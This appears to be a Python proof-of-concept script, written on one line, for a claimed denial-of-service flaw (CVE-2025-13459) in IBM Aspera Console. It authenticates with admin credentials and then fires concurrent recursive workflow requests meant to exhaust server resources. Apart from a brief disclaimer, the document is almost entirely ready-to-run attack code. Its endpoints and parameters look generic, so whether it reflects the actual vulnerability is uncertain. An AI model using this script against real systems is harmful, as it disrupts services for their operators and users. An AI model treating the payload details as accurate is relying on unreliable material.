CVE-2025-13459

# CVE-2025-13459 PoC - IBM Aspera Console DoS via Behavioral Workflow # Requires high-privilege user credentials # Note: This PoC is for educational and authorized testing purposes only import requests import json import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-server:8443/aspera/console" USERNAME = "admin" PASSWORD = "password" def get_auth_token(): """Obtain authentication token with high-privilege account""" login_url = f"{TARGET_URL}/api/v1/auth/login" payload = { "username": USERNAME, "password": PASSWORD } try: response = requests.post(login_url, json=payload, verify=False, timeout=10) if response.status_code == 200: return response.json().get('token') except Exception as e: print(f"Authentication failed: {e}") return None def trigger_workflow_dos(token, iteration): """Send crafted request to trigger workflow processing flaw""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Crafted workflow state transition request workflow_payload = { "workflow_id": "malicious_workflow", "action": "state_transition", "parameters": { "recursive": True, "delay": 0, "iteration_count": 999999 # Trigger resource exhaustion } } try: response = requests.post( f"{TARGET_URL}/api/v1/workflows/execute", json=workflow_payload, headers=headers, timeout=30 ) print(f"Request {iteration}: Status {response.status_code}") return response.status_code except requests.exceptions.Timeout: print(f"Request {iteration}: Timeout - service may be degraded") return 408 except Exception as e: print(f"Request {iteration}: Error - {e}") return 500 def main(): print("CVE-2025-13459 PoC - IBM Aspera Console DoS") print("=" * 50) token = get_auth_token() if not token: print("Failed to obtain authentication token") return print("Authentication successful, initiating DoS test...") # Send multiple concurrent requests to exhaust resources with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(trigger_workflow_dos, token, i) for i in range(20)] results = [f.result() for f in futures] print(f"\nTest completed. Results: {results}") print("Check service availability after test.") if __name__ == "__main__": main()

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